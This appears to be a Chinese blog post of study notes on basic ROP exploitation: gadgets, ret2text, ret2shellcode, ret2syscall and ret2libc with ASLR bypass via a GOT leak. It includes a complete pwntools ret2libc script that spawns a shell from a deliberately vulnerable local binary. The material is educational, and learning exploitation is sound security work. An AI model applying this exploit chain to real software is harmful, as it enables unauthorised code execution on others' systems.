【个人笔记】《基本ROP》笔记

一、ROP 的基本概念与产生背景
什么是 ROP?
ROP(Return-Oriented Programming,返回导向编程)是一种高级的内存攻击技术。它的核心思想是:当程序存在内存保护机制(如 NX/DEP)阻止直接执行注入的代码时,攻击者可以通过复用程序中已有的代码片段(称为 gadget),组合这些片段来实现恶意功能。
为什么需要 ROP?
现代操作系统引入了多种安全机制来防止代码执行攻击:

  • NX/DEP(数据执行保护):将数据区域(栈、堆)标记为不可执行,防止直接执行注入的 shellcode
  • ASLR(地址空间布局随机化):每次程序运行时随机化内存地址布局,增加预测地址的难度
  • Stack Canary(栈保护):在栈上的关键数据前后插入检测值,防止栈溢出修改返回地址
    ROP 通过不注入新代码,而是重用现有代码的方式,有效绕过了 NX/DEP 保护。
    二、关键术语解析
  • Gadget:指程序中以 ret(返回)指令结尾的一小段指令序列。每一个 gadget 完成一个很小的操作(比如 pop eax; ret)。它们是 ROP 的"积木块",攻击者将这些碎片组合起来形成完整的攻击链。
  • Stack Overflow(栈溢出):一种经典的程序漏洞。由于程序未检查输入数据的长度,导致过多的数据覆盖了栈上的其他重要数据(如函数的返回地址)。这是触发 ROP 的常见前提条件。
  • NX/DEP(不可执行保护):一种安全机制,它将数据内存区(如栈、堆)标记为不可执行,从而防止攻击者直接执行注入的 shellcode。
  • ASLR(地址空间布局随机化):一种安全机制,每次运行程序时都随机化程序基地址、库文件地址、栈地址等,让攻击者难以猜到 gadgets 的确切地址。
  • plt(过程链接表):用于在程序运行时动态解析和跳转到共享库(如 libc)中的函数地址。在 ROP 中常用于调用如 system 等函数。
  • got(全局偏移表):存储外部函数(如 libc 中的 puts)实际地址的表格。泄露 GOT 表中的内容可以计算出 libc 的基地址,从而绕过 ASLR。
  • Payload(载荷):指攻击者精心构造的一组数据,通常用于利用漏洞。在 ROP 中,payload 就是覆盖返回地址和构建 ROP 链的那一串数据。
  • ret2xxx:一系列 ROP 攻击技术的总称,比如 ret2text(返回到程序代码段),ret2libc(返回到 libc 库)等。
    三、基本 ROP 技术详解
    1. ret2text
    ret2text 是控制程序执行程序本身已有的代码 (.text segment)。这种攻击方法要求程序自身的代码段中就有一段现成的、能给我们 shell 的代码(俗称"后门函数")。
    攻击原理:程序自己代码里存在危险函数(如 system(“/bin/sh”)),通过栈溢出覆盖返回地址,直接跳转到这个函数地址。
    攻击步骤:
  1. 找到后门函数的地址(如 0x8048436)
  2. 通过溢出漏洞向缓冲区写入超长数据
  3. 精心构造 payload:[填充缓冲区][覆盖旧的 ebp][覆盖返回地址为后门函数地址]
  4. 当函数返回时,会跳转到后门函数执行
    示例代码:
    在这里插入图片描述
    2. ret2shellcode
    ret2shellcode 控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。
    攻击前提:shellcode 所在的内存区域(通常是栈)必须有可执行权限(即没有开启 NX 保护)。
    攻击步骤:
  5. 编写 shellcode(调用 execve(“/bin/sh”, NULL, NULL) 的汇编代码)
  6. 通过栈溢出将 shellcode 注入到栈上的缓冲区
  7. 计算 shellcode 在栈上的起始地址
  8. 构造 payload:[shellcode 机器码][填充垃圾数据][shellcode 起始地址]
  9. 函数返回时跳转到栈上执行 shellcode
    现状:现代系统和编译器默认开启了 NX 保护,栈不再可执行,因此这种技术现在已较少使用。
    3. ret2syscall
    ret2syscall 控制程序执行系统调用,获取 shell。在操作系统底层,获取 shell 的方式其实最终都是通过系统调用来实现的。
    系统调用原理:在 32 位 Linux 中,通过 int 0x80 指令发起系统调用。需要预先设置寄存器:
    • eax:系统调用号(execve 是 11 或 0xb)
    • ebx:第一个参数(/bin/sh 的地址)
    • ecx:第二个参数(0)
    • edx:第三个参数(0)
    攻击步骤:
  10. 寻找需要的 gadgets:
    o pop eax; ret
    o pop ebx; ret
    o pop ecx; ret
    o pop edx; ret
    o int 0x80; ret
  11. 构造 ROP 链,依次设置寄存器值
  12. 最后执行 int 0x80 发起系统调用
    ROP链示例:
    在这里插入图片描述
    4. ret2libc
    ret2libc 控制程序执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置。一般情况下,我们会选择执行 system(“/bin/sh”)。
    攻击变种:
    • 无 ASLR 情况:libc 地址固定,直接计算 system 和 /bin/sh 的地址
    • 有 ASLR 情况:需要先泄露 libc 函数地址,计算 libc 基址,再计算 system 和 /bin/sh 的真实地址
    有 ASLR 的攻击步骤:
  13. 第一次溢出:泄露 libc 函数地址
    o 调用 puts@plt 输出 puts@got 的内容
    o 接收泄露的 puts 函数真实地址
  14. 计算基址:
    o libc_base = leaked_puts_address - offset_puts
    o system_real = libc_base + offset_system
    o binsh_real = libc_base + offset_binsh
  15. 第二次溢出:调用 system(“/bin/sh”)
    o 构造 payload 调用 system_real,参数为 binsh_real
    四、实战示例:ret2libc攻击
    1.目标程序分析
    存在栈溢出漏洞的程序:
    在这里插入图片描述
    2.编译命令(关闭栈保护,开启NX)
    gcc -m32 -fno-stack-protector -o vuln vuln.c
    3.完整攻击脚本
from pwn import *

context(arch='i386', os='linux')

def main():
    # 加载二进制文件和libc
    elf = ELF('./vuln')
    libc = elf.libc
    
    # 第一部分:泄露libc地址
    rop1 = ROP(elf)
    rop1.raw(b'A' * 140)  # 偏移量
    rop1.puts(elf.got['puts'])
    rop1.call('vulnerable_function')
    
    p = process('./vuln')
    p.sendline(rop1.chain())
    
    # 跳过提示文本
    p.recvuntil('input: ')
    
    # 获取泄露的地址
    leaked_puts = u32(p.recv(4))
    log.info(f"Leaked puts address: {hex(leaked_puts)}")
    
    # 计算libc基址
    libc.address = leaked_puts - libc.symbols['puts']
    log.info(f"Libc base address: {hex(libc.address)}")
    
    # 计算system和/bin/sh地址
    system_addr = libc.symbols['system']
    bin_sh_addr = next(libc.search(b'/bin/sh'))
    log.info(f"System address: {hex(system_addr)}")
    log.info(f"/bin/sh address: {hex(bin_sh_addr)}")
    
    # 第二部分:调用system("/bin/sh")
    rop2 = ROP(elf)
    rop2.raw(b'A' * 140)
    rop2.call(system_addr, [bin_sh_addr])
    rop2.call('exit', [0])
    
    p.sendline(rop2.chain())
    p.interactive()

if __name__ == '__main__':
    main()

五、寻找 Gadget 的方法
1.在 Ubuntu 中使用命令行工具

  • ROPgadget:
    在这里插入图片描述
  • ropper:
    在这里插入图片描述
    2.在 IDA Pro 中寻找 Gadget
    *使用内置搜索功能:
    • 文本搜索(Text Search):查找已知的指令字符串
    • 代码搜索(Code Search):搜索特定的指令或指令序列
    • 二进制搜索(Binary Search):最常用,直接输入指令的机器码搜索(快捷键 Alt+B)
    六、防御措施与绕过方法
    常见防御措施:
    • ASLR:随机化内存布局
    • Stack Canaries:检测栈溢出
    • Control Flow Integrity (CFI):验证控制流转移
    • Shadow Stack:存储返回地址的副本
    常见绕过方法:
    • 信息泄露:通过漏洞泄露内存地址,绕过 ASLR
    • Partial Overwrite:部分覆盖地址,绕过 ASLR
    • Heap spraying:在堆上布置大量恶意对象
    • JOP/COP:使用 jump/call 指令而非 ret 指令的变种
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值